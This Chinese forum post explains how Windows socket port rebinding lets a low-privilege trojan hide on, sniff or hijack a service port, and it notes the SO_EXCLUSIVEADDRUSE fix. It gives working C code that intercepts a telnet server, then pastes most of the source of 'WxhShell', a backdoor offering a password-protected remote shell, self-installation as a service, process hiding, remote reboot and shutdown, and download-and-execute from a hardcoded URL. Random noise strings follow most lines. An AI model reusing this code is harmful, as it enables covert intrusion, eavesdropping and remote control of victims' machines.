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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: c ,g]0S?gu  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |SSf G~r  
[R@q]S/  
  saddr.sin_family = AF_INET; ;] l{D}  
eG[umv.9b  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); PHe~{"|d?  
o O{|C&A  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )<H 91:.  
's56L,^:  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 XcJ'm{=   
,6cbD  
  这意味着什么?意味着可以进行如下的攻击: J pCZq #  
KxgR5#:i"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~/]\iOL  
GlV-}5W  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <:kTTye|  
]$XBd{\D{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 T_YMM'`  
a[d{>Fb.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  i;uG:,ro  
q;Ar&VrlNq  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;|;h9"  
@xW"rX#7f  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &cn%4Er  
.:r2BgL  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 eEg1-  
\( Gf+  
  #include 7~%  
  #include Uy_}@50"l  
  #include I;kUG_c(4  
  #include    P?3YHa^up  
  DWORD WINAPI ClientThread(LPVOID lpParam);   V5(tf'  
  int main() OyG_thX  
  { 7E\K!v_  
  WORD wVersionRequested; n+RUPZ  
  DWORD ret; {Vt^Xc  
  WSADATA wsaData; >? A `C!i  
  BOOL val; +QCU]Fozk  
  SOCKADDR_IN saddr; =ihoVA:|  
  SOCKADDR_IN scaddr; 8KGv?^M 6W  
  int err; O>o}<t7  
  SOCKET s; k:+)$[t7  
  SOCKET sc; uP%;QBb  
  int caddsize; ]Gi+Z1q  
  HANDLE mt; E&T'U2  
  DWORD tid;   ;#6<bV  
  wVersionRequested = MAKEWORD( 2, 2 ); j 44bF/  
  err = WSAStartup( wVersionRequested, &wsaData ); nIN%<3U2  
  if ( err != 0 ) { YiQeI|{oN  
  printf("error!WSAStartup failed!\n"); xTksF?u)  
  return -1;  t3yQ/  
  } 8wH41v67F  
  saddr.sin_family = AF_INET; fjK]m.w  
   4LKs'$:A=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %RT6~0z  
Mh-*5Rx  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `)( <g  
  saddr.sin_port = htons(23); {TxVRpiP{Z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :vgh KI  
  { JK'_P}[]I  
  printf("error!socket failed!\n"); R1b )  
  return -1; tr9_bl&z  
  } '@}?NV0  
  val = TRUE; wYcz\uV  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +y{93nl  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3Av(|<cR  
  { &:e}4/G  
  printf("error!setsockopt failed!\n"); @y~BYiKs  
  return -1; 6UzT]"LR;  
  } j O5:{%  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ym,Ot1  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `Hp.%G(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 n[cyK$"  
#&`WMLl+8  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  _.J[w6  
  { ,j(p}t  
  ret=GetLastError(); p?`|CE@h7  
  printf("error!bind failed!\n"); +<9q]V  
  return -1; $=QGua V  
  } lj SR?:\  
  listen(s,2); KiRt'  
  while(1) @)juP- o%  
  { SUnmp  
  caddsize = sizeof(scaddr); r1az=$  
  //接受连接请求 >. nt'BQ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "<n"A7e  
  if(sc!=INVALID_SOCKET) 3 Q%k (,  
  { 3PR7g  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  [k&s!Qp  
  if(mt==NULL) c:,{ O 0 #  
  {  &t%&l0  
  printf("Thread Creat Failed!\n"); J-%PyvK$?  
  break; 4Z T  
  } '14l )1g.  
  } Gp3t?7S{T  
  CloseHandle(mt); 4kY{X%9  
  } e#eO`bT  
  closesocket(s); &+w!'LSaD  
  WSACleanup(); 1r:fxZO\Vd  
  return 0; 4uAb LSh9  
  }   g]#zWTw(   
  DWORD WINAPI ClientThread(LPVOID lpParam) 8wx#,Xa  
  { =iN_Ug+  
  SOCKET ss = (SOCKET)lpParam; vJj j+:  
  SOCKET sc; MzW$Sl&:  
  unsigned char buf[4096]; nKa ;FaJ  
  SOCKADDR_IN saddr; bHH}x"d[x  
  long num; !.GY~f<d$  
  DWORD val; Q,qylL  
  DWORD ret; ]H9HO2wGQ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 4.kkxQR7r  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   )yH#*~X_   
  saddr.sin_family = AF_INET; JA(q>>4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +?m=f}>W1  
  saddr.sin_port = htons(23); 5J2p^$s  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \iLd6Qo_aq  
  { `kT$Gx4x  
  printf("error!socket failed!\n"); G C#95  
  return -1; S0QU@e  
  } AJ1$$c  
  val = 100; z'}t@R#H  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :IKp7BS  
  { 89e.\EH  
  ret = GetLastError(); ;\&bvGj8V  
  return -1; Dlsa(  
  } e$+? v2.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $bC!T  
  { zmS-s\$,  
  ret = GetLastError(); Mn{Rg>X  
  return -1; p{#7\+}  
  } 3eDx@8N }  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ]{,=mOk  
  { ~hw4gdtS  
  printf("error!socket connect failed!\n"); u H;^>`DT  
  closesocket(sc);  KNyD}1  
  closesocket(ss); S5 oHe4#89  
  return -1; |;1:$E"  
  } l:C0:m%  
  while(1) 0QSi\: 1f  
  { {1&,6kJF&9  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 a}]@o"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &aht K}u  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #^ [N4uV  
  num = recv(ss,buf,4096,0); G uI sM  
  if(num>0) /OtQk -E  
  send(sc,buf,num,0); iQR})=Q  
  else if(num==0) zW&O>H  
  break; lz5j~t5>Q  
  num = recv(sc,buf,4096,0); x};g!FYfkB  
  if(num>0) &T.P7nJ=  
  send(ss,buf,num,0); IIEU{},}z  
  else if(num==0) /PuWJPy;  
  break; .Zz7LG{  
  } ^[NmNi*  
  closesocket(ss); 5DBd [u3  
  closesocket(sc); J_Xf:Mz-  
  return 0 ; U"G+su->e  
  } o;P;=<  
(NV=YX?s  
qO'5*d;!d  
========================================================== ~$obcW1  
o) ?1`7^BA  
下边附上一个代码,,WXhSHELL @8d})X33  
'(:J|DN  
========================================================== 13@| {H CB  
! yUKNR  
#include "stdafx.h" _NN{Wk/3w  
P@![P Ij  
#include <stdio.h> ,Yt&PE  
#include <string.h> *Bz&  
#include <windows.h> IY6S\Gn  
#include <winsock2.h> P9!]<so  
#include <winsvc.h> }Q(I&uz  
#include <urlmon.h> 7lOiFw  
)_ u'k /  
#pragma comment (lib, "Ws2_32.lib") J}u1\Id%  
#pragma comment (lib, "urlmon.lib") t$5]1dY$X  
#iU/Yg!  
#define MAX_USER   100 // 最大客户端连接数 WU@,1.F:  
#define BUF_SOCK   200 // sock buffer PiQs><FK8  
#define KEY_BUFF   255 // 输入 buffer Nr+1N83S}  
|*a>6y  
#define REBOOT     0   // 重启 ^%@.Vvz<  
#define SHUTDOWN   1   // 关机  ?wY.B  
gJv^v`X  
#define DEF_PORT   5000 // 监听端口 )ciHY6  
pLcng[  
#define REG_LEN     16   // 注册表键长度 _n gMC]-T  
#define SVC_LEN     80   // NT服务名长度 nuA!Jln_  
J#WPXE+Ds  
// 从dll定义API ,i.P= o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5!%/j,?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #8|NZ6x,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); eci\Q,   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &Wk<F3qN  
" <AljgF  
// wxhshell配置信息 o%5Ao?z~  
struct WSCFG { <K'gvMG[  
  int ws_port;         // 监听端口 ( #Aq*2Z.  
  char ws_passstr[REG_LEN]; // 口令 ;OyM~T gI  
  int ws_autoins;       // 安装标记, 1=yes 0=no @/iLC6QF  
  char ws_regname[REG_LEN]; // 注册表键名 ti% e.p0[  
  char ws_svcname[REG_LEN]; // 服务名 Uij$ eBN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 L  *@>/N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Cu7iHhY5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5xKR ]u  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Yl=  |P`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B9-=.2.WU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s[bKGn@  
 S_6;e|  
}; 5+Ut]AL5  
\ed(<e>  
// default Wxhshell configuration NQD b;5:  
struct WSCFG wscfg={DEF_PORT, U7=Z.*/62  
    "xuhuanlingzhe", _Pal)re]U  
    1, eL!6}y}W  
    "Wxhshell", df\>-Hl  
    "Wxhshell", 9tQk/niMM5  
            "WxhShell Service", Z%=E/xT  
    "Wrsky Windows CmdShell Service", n]!H,Q1,T  
    "Please Input Your Password: ", Q4*cL5j  
  1, t|lv6-Hy9  
  "http://www.wrsky.com/wxhshell.exe", 5. i;IOx  
  "Wxhshell.exe" bcNYoZ8`  
    }; P&;I]2#  
D bJ(N h  
// 消息定义模块 35T7g65;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7h~M&\M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; VPbNLi  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2XpGgG`2`C  
char *msg_ws_ext="\n\rExit."; V ZGhF!To  
char *msg_ws_end="\n\rQuit."; 3 Gkw.  
char *msg_ws_boot="\n\rReboot..."; bcfOp A  
char *msg_ws_poff="\n\rShutdown..."; 10 ^=1@U  
char *msg_ws_down="\n\rSave to "; / [M~##%:  
*UC^&5:  
char *msg_ws_err="\n\rErr!"; @ XMC$s  
char *msg_ws_ok="\n\rOK!"; oJy/PR 3  
{HeMdGn9  
char ExeFile[MAX_PATH]; kOO2 ?L|Z  
int nUser = 0; "'L SLp  
HANDLE handles[MAX_USER]; 2]wh1)  
int OsIsNt; ]&>)=b!,  
&s5*akG  
SERVICE_STATUS       serviceStatus; Y*f<\z(4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; x uF_^  
COafVlJ,l  
// 函数声明 \D=B-dREq  
int Install(void); [<hiOB  
int Uninstall(void); ^M"g5+ q  
int DownloadFile(char *sURL, SOCKET wsh); RP$A"<goP  
int Boot(int flag); cW\7yZh  
void HideProc(void); "+AD+D  
int GetOsVer(void); J2rH<Fd[up  
int Wxhshell(SOCKET wsl); c 9@*  
void TalkWithClient(void *cs); kQ+5p Fo3  
int CmdShell(SOCKET sock); HZNX1aQ|Q#  
int StartFromService(void); v:'y&yS  
int StartWxhshell(LPSTR lpCmdLine); 2+HiaYDZ  
#]2u!a ma  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qI}Zg)q]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -_+0[Nb.  
6822xk  
// 数据结构和表定义 tp"\  
SERVICE_TABLE_ENTRY DispatchTable[] = e_SlM=_ u  
{ RA}PM?D/  
{wscfg.ws_svcname, NTServiceMain}, ~n?U{ RmH  
{NULL, NULL} ,7aqrg  
}; 5VfP@{  
:([,vO:  
// 自我安装 "q8wEu,z[  
int Install(void) 'J}lnt[V  
{ 9 +6"<r!  
  char svExeFile[MAX_PATH]; H;8(y4;  
  HKEY key; Qk= w ,`  
  strcpy(svExeFile,ExeFile); 4p]Y`];U  
iBQftq7  
// 如果是win9x系统,修改注册表设为自启动 O1A*-G:X  
if(!OsIsNt) { i~4Kek6,I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S1."2AxO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s*;~CH-[  
  RegCloseKey(key); UOyP6ej  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U4g ZW]F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Dqki}k~{  
  RegCloseKey(key); p\ASf  
  return 0; -Ac^#/[0  
    } %2.T1X%!  
  } Y*6*;0Kx  
} r?$\`,;  
else { &nq[Vy0kO4  
+x1sV*S  
// 如果是NT以上系统,安装为系统服务 kDrGl{U}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]TQjk{X<  
if (schSCManager!=0) KvgZx(.  
{ Aq-v3$XL  
  SC_HANDLE schService = CreateService DE[y&]/C{  
  ( pP .   
  schSCManager, -M4#dHR_!  
  wscfg.ws_svcname, xg8<b  
  wscfg.ws_svcdisp, l!1bmg#]$  
  SERVICE_ALL_ACCESS, UCQL~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tU(6%zvR  
  SERVICE_AUTO_START, @U}UCG7+  
  SERVICE_ERROR_NORMAL, ny}?+&K  
  svExeFile, wG B'c's*  
  NULL, WrV|<%EQh  
  NULL, )S]c'}^  
  NULL, [4gv_g  
  NULL, Gfvz%%>l  
  NULL L.5GX 29  
  ); c;WS !.  
  if (schService!=0) w v1R ]3}  
  { =y<Fz*aA  
  CloseServiceHandle(schService); !j(R _wOq  
  CloseServiceHandle(schSCManager); _ &T$0SZco  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;,<s'5icyg  
  strcat(svExeFile,wscfg.ws_svcname); B::vOg77  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { TZ/u"' ZS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W uQdz&s>  
  RegCloseKey(key); BjShK+Y  
  return 0; Lczcz"t  
    } - na]P3 s  
  } f~53:;L/  
  CloseServiceHandle(schSCManager); ALG +  
} }"szL=s  
} ,HkJ.6KF  
|i|O9^*%  
return 1; $wBUu   
} ;gF"o5/Q  
?HW*qD#k  
// 自我卸载 @+xQj.jNC  
int Uninstall(void) H;v*/~zl  
{ {5,CW  
  HKEY key; y==x  
>yaRz+  
if(!OsIsNt) { -1@kt<Es  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Mqna0"IYx*  
  RegDeleteValue(key,wscfg.ws_regname); 'rSM6j  
  RegCloseKey(key); F:n7yey  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3o1j l2n  
  RegDeleteValue(key,wscfg.ws_regname); a+Z/=YUR  
  RegCloseKey(key); "Aynt_a.  
  return 0; m$U2|5un&  
  } H7uW|'XWz  
} +UB. M  
} S2`p&\Ifn  
else { GhX>YzD7  
T3bBc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VH8,!#Q;  
if (schSCManager!=0) ^mH^cP?/  
{ \=w|Zeu{l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^JH 4: h  
  if (schService!=0) d hh`o\$  
  { # TvY*D,  
  if(DeleteService(schService)!=0) { 0Rj_l:d=  
  CloseServiceHandle(schService); d !>PqPo  
  CloseServiceHandle(schSCManager); lLnD%*03  
  return 0; i`X/d=  
  } 1Ztoj}!I  
  CloseServiceHandle(schService); . 8k9yk  
  } O5E\#*<K  
  CloseServiceHandle(schSCManager); u-8,9  
} d}Q;CF3 m:  
} i7iL[+f]Q  
t)5bHVx  
return 1; gx3arVa  
} Qax=_[r  
BeBa4s  
// 从指定url下载文件 *S7<QyVh  
int DownloadFile(char *sURL, SOCKET wsh) X'O3)Yg  
{ Wq]^1g_  
  HRESULT hr; M4`qi3I  
char seps[]= "/"; -_B*~M/vV`  
char *token; &kh-2#E  
char *file; <"6 }C)G  
char myURL[MAX_PATH]; caS5>wk`R  
char myFILE[MAX_PATH]; oPl^tzO  
U4Il1| M&  
strcpy(myURL,sURL); wD4Kil=v  
  token=strtok(myURL,seps); kid@*.I  
  while(token!=NULL) yj-BLR5  
  { J#MUtpPdQ  
    file=token; $)6y:t"  
  token=strtok(NULL,seps); Gq?JMq#  
  } VTS8IXz  
x:GuqE  
GetCurrentDirectory(MAX_PATH,myFILE); qEE V&  
strcat(myFILE, "\\"); NU O9,  
strcat(myFILE, file); %A%^;3@  
  send(wsh,myFILE,strlen(myFILE),0); T-0fVTeN  
send(wsh,"...",3,0); ~~z} yCl  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  `i;f  
  if(hr==S_OK) <8~bb- U$  
return 0; M/T ll]\|  
else  BVU>M*k  
return 1; q9|'!m5K  
`5:b=^'D /  
} 8a)lrIg  
mSr(PIH{\  
// 系统电源模块 PCtf&U  
int Boot(int flag) " 5,'K~hz  
{ ^Yul|0*J  
  HANDLE hToken; 'Y `or14E  
  TOKEN_PRIVILEGES tkp; DY1UP (y  
D&#wn.0|E  
  if(OsIsNt) { T@Mrbravc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); OF-$*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0F/o  
    tkp.PrivilegeCount = 1; 8(]*J8/wt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E0G"B' x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0.!_k )tu  
if(flag==REBOOT) { "dQ02y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &]tZ6  
  return 0; 0w)Gb}o$  
} ' >4 H#tu  
else { WS6'R    
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  Jpm=V*P  
  return 0; Mh3Tfp  
} sN"<baZ  
  } l$ ^LY)i  
  else { $bOiP  
if(flag==REBOOT) { 3RJsH :u8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vq/3a  
  return 0; (l}W\iB' d  
} /fv;`?~d*  
else { #TS:| =  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,v,#f .  
  return 0; Qh3BI?GZ'3  
} *3 8 u ~n  
} Ce_k&[AJF  
_Oc5g5_{  
return 1; -?nr q <3  
} O/ybqU\7  
&L`^\B]k|  
// win9x进程隐藏模块 VH M&Y-G  
void HideProc(void) FLUvFD  
{ ~xCv_u^=  
2+s#5K&i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); owQSy9Az  
  if ( hKernel != NULL ) zo83>bt  
  { JCFiKt9n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Dk%+|c  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }l"pxp1K  
    FreeLibrary(hKernel); Sq:,6bcG  
  } 6--t6>5  
\w#)uYK{i_  
return; G{CKb{  
} TsVU^Z%W  
'-X[T}  
// 获取操作系统版本 Q-<h)WTA  
int GetOsVer(void) 6pP:Q_U$  
{ p?-qlPl  
  OSVERSIONINFO winfo; vj%3v4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6({TG&`!]  
  GetVersionEx(&winfo); z;wOtKl5r  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) N2 4J!L  
  return 1; n,D&pl9f  
  else g^I?u$&E  
  return 0; hU'h78bt(  
} \?tE,\Ln  
uo9FLm  
// 客户端句柄模块 {;5\#VFg  
int Wxhshell(SOCKET wsl) Ahk q  
{ Y]VLouzl  
  SOCKET wsh; @B \$ me  
  struct sockaddr_in client; ZSvU1T8  
  DWORD myID; 9x`1VR :  
q\Q'9Rl0(  
  while(nUser<MAX_USER) 7K5 tBUNQ  
{ `NySTd)\  
  int nSize=sizeof(client); V!\'7-[R  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); InA=ty]"_U  
  if(wsh==INVALID_SOCKET) return 1; |W*#N8I P  
?`T Q'#P`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L8,/  
if(handles[nUser]==0) 0@yw#.j  
  closesocket(wsh); Q@ua G,6  
else >npTUOGL=n  
  nUser++; (1e,9!?  
  } O!se-h5mW8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); MFeY}_d<  
fU<_bg  
  return 0; 8'qq!WR~  
} /Bq4! n+  
y**YFQ*sc  
// 关闭 socket 7bk`u'0%  
void CloseIt(SOCKET wsh) HSR,moI  
{ \AeM=K6q+D  
closesocket(wsh); NK\0X5##.  
nUser--; i&^]qL|J  
ExitThread(0); AO]k*N,N  
} w?V;ItcL  
,n{R,]y\  
// 客户端请求句柄 )LAG$Cn  
void TalkWithClient(void *cs) m$bYx~K  
{ \NTVg6>qN  
X2T_}{  
  SOCKET wsh=(SOCKET)cs; i&KBMx   
  char pwd[SVC_LEN]; ;;S9kNp^v  
  char cmd[KEY_BUFF]; }Q a  
char chr[1]; H1c>3c  
int i,j; ;Wgkf_3  
MzMVs3w|  
  while (nUser < MAX_USER) { wEZieHw  
T]x]hQ  
if(wscfg.ws_passstr) { bgeJVI  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MFn\[J`Ra  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "[ieOFI  
  //ZeroMemory(pwd,KEY_BUFF); M1=eS@  
      i=0; {>UT'fa-  
  while(i<SVC_LEN) { 3/y"kl:< -  
:28[k~.bo  
  // 设置超时 ; GEr8_7  
  fd_set FdRead; s14D(:t(  
  struct timeval TimeOut; Vkf c&+  
  FD_ZERO(&FdRead); G/ H>M%M  
  FD_SET(wsh,&FdRead); b ,x$wP+  
  TimeOut.tv_sec=8; b#-=Dbe  
  TimeOut.tv_usec=0; ?)gc;K  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <m/XGFc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _6m{zvyX>  
Dtox/ ,"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xFcW%m>9C  
  pwd=chr[0]; ;OC{B}.vH  
  if(chr[0]==0xd || chr[0]==0xa) { }{}?mQ  
  pwd=0; wbB\~*Z)  
  break; #+H3b!8=  
  } d*x&Uh[K  
  i++; T|p%4hH  
    } L|8&9F\  
WDI3*  
  // 如果是非法用户,关闭 socket FqZD'Uu7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v6H!.0  
} Ej $.x6:  
Yyw9IYB;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _hgGF9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ydMhb367|  
f\FqZ?w  
while(1) { 0v#p4@Z  
/IlO   
  ZeroMemory(cmd,KEY_BUFF); !D!"ftOm  
mA#;6?6  
      // 自动支持客户端 telnet标准   MP_/eC ;  
  j=0; XZ2 ji_D  
  while(j<KEY_BUFF) { w\M"9T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fZ(k"*\MZ  
  cmd[j]=chr[0]; XP[~ :+  
  if(chr[0]==0xa || chr[0]==0xd) { r?9".H  
  cmd[j]=0; Tv `&  
  break; .e4upT GU  
  } +i[@+`  
  j++; v|dt[>G  
    } ~Rx`:kQ  
^A=2#j~H\  
  // 下载文件 WD5jO9Oai  
  if(strstr(cmd,"http://")) { : )y3 &I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b\t?5z-Z  
  if(DownloadFile(cmd,wsh)) _$/Bt?h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nxt`5kSx=  
  else ]x66/O\0u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gH.$B'  
  } VR'zm\< D  
  else { >%5GMx>m  
lk[u  
    switch(cmd[0]) { WpOH1[ 8v  
  g][n1$%  
  // 帮助 vsPIvW!V  
  case '?': { S_ra8HY8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5~$WSL?O)  
    break; HIUP =/x  
  } zCv)%y  
  // 安装  hOYX  
  case 'i': { <nK@+4EH"o  
    if(Install()) ~.#57g F"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _bRgr  
    else a5(9~. 9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z{gDEo)  
    break; pU<GI@gU  
    } T)tTzgLD}  
  // 卸载 t~$8sG\  
  case 'r': { ^)o]hE|  
    if(Uninstall()) @V&HE:P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _Ea1;dJmq  
    else IpM"k)HR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )NTpb  
    break; XjmAM/H4  
    } eep/96G ?  
  // 显示 wxhshell 所在路径 %TO&  
  case 'p': { VF+g+~  
    char svExeFile[MAX_PATH]; UGvUU<N|N  
    strcpy(svExeFile,"\n\r"); ,Xg^rV~]  
      strcat(svExeFile,ExeFile); (,|eE)+  
        send(wsh,svExeFile,strlen(svExeFile),0); -0I&dG-  
    break; b!`6s  
    } YDZB$?&a  
  // 重启 ftQ;$@  
  case 'b': { HG)$ W  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'Hgk$Im+  
    if(Boot(REBOOT)) Zad>i w}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S_^;#=_c  
    else { =iB$4d2  
    closesocket(wsh); ;Zc0imYL  
    ExitThread(0); qxcTY|&  
    } N8,g~?r^  
    break; "Z~@"JLb%  
    } .yHK  
  // 关机 @LY[kt6o  
  case 'd': { lv~ga2>z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tv2k&\1  
    if(Boot(SHUTDOWN)) ` +)Bl%*  
